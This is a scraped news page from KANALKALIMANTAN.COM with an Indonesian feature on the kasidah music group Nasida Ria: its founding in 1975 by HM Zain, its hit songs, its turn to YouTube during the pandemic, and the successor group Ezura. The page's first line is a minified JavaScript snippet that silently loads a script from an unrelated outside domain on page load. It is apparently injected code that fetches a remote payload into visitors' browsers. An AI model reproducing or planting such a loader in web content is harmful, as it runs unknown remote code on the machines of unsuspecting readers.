(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Empat dekade membawakan lagu-lagu kasidah, grup legendaris Nasida Ria asal Semarang, Jawa Tengah, berupaya untuk tetap eksis di blantika musik Indonesia.
Di era digital, grup beranggotakan para perempuan ini terus bertahan melalui media sosial serta regenerasi demi berdakwah dan menjaga tradisi.
Bagaimana TikTok mengubah dunia di 2020
Menonton konser musik dari mobil – cara baru warga Denmark, Australia, dan Korsel menyiasati pandemi
Musik dan alzheimer, bagaimana lagu dan irama bisa perbaiki kondisi penderita penyakit otak
Kisah-kisah lucu dan mengharukan meluncur dari ingatan Rien Djamain dan 10 personel grup musik kasidah Nasida Ria melalui tayangan langsung Nasida Ria TV di kanal Youtube.
Mereka menyapa penggemar dan berbagi pengalaman selama bermusik dengan mengusung genre kasidah. Penampilan virtual dari studio Nasida Ria di Gunungpati, Semarang, khusus digelar untuk merayakan “45 Tahun Nasida Ria Berkarya”.
Grup musik kasidah yang beranggotakan 11 personel dari generasi satu hingga tiga masih eksis dan sanggup menembus batas dengan teknologi digital. Mereka adalah Rien Djamain (bass gitar), Afuwah (kendang), Nadhiroh (biola), Nurhayati (biola ), Sofiatun (keyboard), Hamidah (seruling), Nurjanah (gitar), Uswatun Hasanah (gitar), Titik Mukaromah (gitar), Siti Romnah (piano), Thowiyah (kendang ). Semua personelnya minimal menguasai tiga jenis alat musik dan vokal sehingga dapat saling bergantian ketika pentas.
Choliq Zain, General Manager Nasida Ria, mengatakan Nasida Ria tetap produktif di saat pandemi dengan berbagai konten di platform digital termasuk mengisi acara di televisi swasta.
“Kalau pentas outdoor tidak boleh, harus pintar-pintar cari peluang. Manajemen membuat konser virtual di studio sendiri, lalu di-share ke YouTube,” kata dia kepada wartawan di Semarang, Nonie Arnee, yang melaporkan untuk BBC News Indonesia.
Konser virtual sederhana menjadi strategi mendekatkan Nasida Ria pada pencinta musik segala umur. Sekaligus membuktikan grup musik kasidah modern asal Semarang ini tak redup dimakan zaman.
“Era digital harus berubah. Kalau tidak, kita ketinggalan zaman. Dulu kita jualan pakai kaset, CD, VCD, DVD, sekarang pakai YouTube. Ada banyak platform seperti Joox. Kalau ada yang bertanya tidak produksi, tidak tampil, sekarang klik bisa lihat ada vlog, kegiatan macam-macam,” kata Choliq Zain.
Pria yang akrab disapa Gus Choliq itu menggantikan peran sang ayah, H M Zain, sosok di balik kesuksesan grup musik Nasida Ria.
Murid-murid mengaji dari kawasan Kauman Semarang
HM Zain adalah seorang pemuka agama Islam di Semarang yang membentuk grup musik Nasida Ria pada 1975. Dia mendorong murid-muridnya untuk bermusik di asrama miliknya di kawasan Kauman Mustaram no 58, Semarang.
Nama Nasida Ria dipilih yang berasal dari gabungan kata Nasida atau nyanyian serta Ria alias gembira.
“Harapannya agar kami bisa berdakwah lewat musik dengan penuh kegembiraan,” kata Rien Djamain.
Rien Djamain mengatakan, pada mulanya, mereka datang untuk belajar mengaji. Namun, HM Zain yang juga penyuka musik dan mengoleksi lagu-lagu Umi Kalsum, mencarikan guru musik agar para murid tidak bosan belajar.
“Pagi masak, lalu mengaji. Setelah waktu luang baru latihan. Waktu itu masih polos umur 15 tahun. Niat awal mengaji, karena bapak kreatif luar biasa. Dia mencari bibit-bibit yang bersuara bagus. Awalnya personel sembilan orang sesuai jumlah huruf Nasida Ria,” kata pembetot bass gitar di Nasida Ria.
“Pak Zain mengajar tilawah di Gunungpati, saya muridnya. Banyak belajar tentang agama. Kalau ingin gabung Nasida Ria, mendaftar di Kauman. Alhamdulillah diterima,” imbuh Afuwah, personel generasi kedua.
Tak disangka, anak-anak didik HM Zain mampu berkembang dalam bermusik. Awalnya mereka hanya memainkan lagu berbahasa Arab dengan iringan rebana. Kemudian mendapat hibah alat musik keyboard dan gitar.
“Dikembangkan Pak Zain dengan drum, kendang, seruling, biola dan tamborin. Setelah bisa memainkan biola, drum dihilangkan dan biola menjadi ciri khas Nasida Ria.”
“Dulu alat musik semua dipegang. Semua mulai dari nol, kita dipanggilkan guru. Kemudian berkembang dikasih not balok, bisa dan latihan sendiri. 40 tahun saya nge-bass gitar,” kenang Rien, satu-satunya personel generasi pertama yang masih bertahan.
Grup Nasida Ria mendapat kesempatan masuk dapur rekaman setelah HM Zain menerima tawaran dari Ira Puspita Record untuk membuat album musik.
Akan tetapi, lagu-lagu yang dirilis di album kurang diminati karena mereka menyanyikan lagu gambus berbahasa Arab kental nuansa Timur Tengah.
“Dari album volume 1 hingga 4 belum ada yang meledak di pasaran. Kemudian bapak bertemu sahabatnya, KH Ahmad Buchori Masruri yang menyarankan untuk mengganti syair bahasa Arab agar pesan dakwah di lagu mudah dipahami,” kata Choliq Zain, putra kedua HM Zain.
K.H. Ahmad Buchori Masruri yang waktu itu Ketua Tanfidziyah PWNU Jawa Tengah kemudian membantu mengalihbahasakan syair bahasa Arab ke bahasa Indonesia. Dengan menggunakan Abu Ali Haidar, ia juga menciptakan banyak lagu untuk Nasida Ria.
Populer berkat ‘Perdamaian’
Popularitas Nasida Ria melejit berkat lagu berjudul Perdamaian di album kelima yang dirilis tahun 1980an.
Album ini sukses di pasaran dan menjadi tonggak kepopuleran Nasida Ria.
Kesuksesan berlanjut di album-album selanjutnya yang juga banyak melahirkan lagu hit. Sebut saja Palestina, Bom Nuklir, Jilbab Putih, Ratu Dunia, Indonesiaku, hingga Kota Santri.
Rien mengatakan, kepopuleran membuat jadwal Nasida Ria padat dengan jadwal pentas di berbagai tempat dan di layar kaca. Bahkan mereka pernah tampil di sejumlah negara seperti di Hongkong, Malaysia, dan Jerman.
“Acara banyak, acara besar semua termasuk kampanye. Diundang televisi, semakin melanglang buana ke Jerman diundang Kedutaan Jerman mewakili Indonesia. Dua kali ke Jerman, Hongkong, Malaysia,” katanya.
Hidup dari panggung ke panggung membuat Nasida Ria lebih banyak menghabiskan waktu bersama penggemar dan meninggalkan keluarga.
“Masa jaya tahun 1980 sampai 1990-an pentas bisa berkali-kali. Kita pentas di Malaysia 16 hari. Ya, pergi beribadah dan dakwah lewat seni, tidak ada masalah. Semua tahu jika memperistri orang Nasida Ria rela ditinggal-tinggal,” ujar Rien.
Bagaimana kesan pertama tampil di panggung?
“Rasanya senang bukan main. Tidak memikirkan bayaran,” ungkap Rien nampak bersemangat menceritakan kisahnya ketika ditemui Noni Arnee di rumahnya.
Pada era 1980-1990an, Nasida Ria sangat produktif. Dalam setahun mereka mampu merilis dua album berisi 20 lagu. Tercatat mereka sudah sudah menghasilkan sekitar 400 lagu dari 36 album.
Konsep musik yang diusung, yakni kasidah modern mendobrak kecenderungan musik kasidah yang kental nuansa Timur Tengah. Nasida Ria memodifikasi dengan dengan alat musik modern, seperti gitar elektrik, biola, dan keyboard, menjadikan lagu-lagunya punya ciri khas dan disebut sebagai pelopor kasidah modern di Indonesia.
Choliq Zain menambahkan, lagu-lagu Nasida Ria mengangkat persoalan kebangsaan, isu lingkungan, sosial, hukum hingga keluarga. Syair lagu yang diciptakan tak lekang waktu dan masih relevan hingga kini.
“Lagu-lagu bernuansa futuristik seperti lagu “Perdamaian” dan “Tahun 2000″ yang diciptakan tahun 1980-an, sampai sekarang lagu itu masih up to date. Lagu-lagu Nasida Ria dalam satu album lagunya bagus semua. Ada tiga pencipta lagu yang paling dominan yakni Pak Ahmad Buchori Masruri, H. Fadholi Ambar, dan Suhaimi,” imbuhnya.
Regenerasi Nasida Ria
Nasida Ria tak sekadar eksis. Kelompok musik tersebut berupaya melakukan regenerasi dengan melahirkan Ezura, grup kasidah milenial dengan nuansa pop.
Salah satu pendirinya adalah Nazla Zain, cucu HM Zain.
“Saya dan ayah membentuk grup untuk wadah regenerasi. Mulai dari nol kemudian terbentuk. Awalnya bernama Qasidah Tanpa Nama (QTN) kemudian muncul Ezura. Personel ini juga melewati proses penjaringan. Mereka belajar mengaji dan bermusik,” jelas Nazla.
“Kalau di panggung diselingi dakwah. Ternyata banyak anak muda suka kasidah.”
Choliq Zain menambahkan, Ezura sangat potensial berkembang menjadi grup kasidah milenial, terlebih lagi di era digital.
“Saya buat ini duplikasi dari bapak dulu. Kalau Nasida Ria kumpulan murid mengaji, kalau ini saya ambil anak-anak grup lomba rebana yang sering menang,” imbuh Choliq.
Semangat Nasida Ria yang kini ditiru Ezura yang digawangi sembilan perempuan muda. Yakni, Zahrotu Walidah (vokalis), Makhi (vokalis), Immah Nur Rosyidah (vokal pendukung), Nazla Zain (vokal pendukung), Hidayatul Faizah (biola), Elicia Melfy Naofizsa (seruling), Resty Fajaria (bass), Alifatul Khoriyah (keyboard) dan Siti Latifah (kendang), personel termuda yang masih duduk di bangku kelas 9.
“Saya belajar dari kelas 5. Awalnya lihat dulu dan tertarik, waktu itu pemain kendang kosong saya belajar dan pegang kendang sampai sekarang,” kata Siti.
Strategi Nasida Ria dan Ezura ini mampu menjangkau pasar yang lebih luas.
Bahkan, sejak tahun 2015 dibentuklah Sobat Nasida Ria sebagai wadah para penggemar muda.
Muhammad Fathul Amin, adalah penanggungjawab Sobat Nasida Ria.
“Sekarang banyak anak muda menyukai dan menjadi penikmat lagu-lagu Nasida Ria. Kami senang dengan konsep baru dan era digital karena tidak sulit cari kaset, tinggal buka Youtube bisa mendengarkan lagunya,” katanya. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.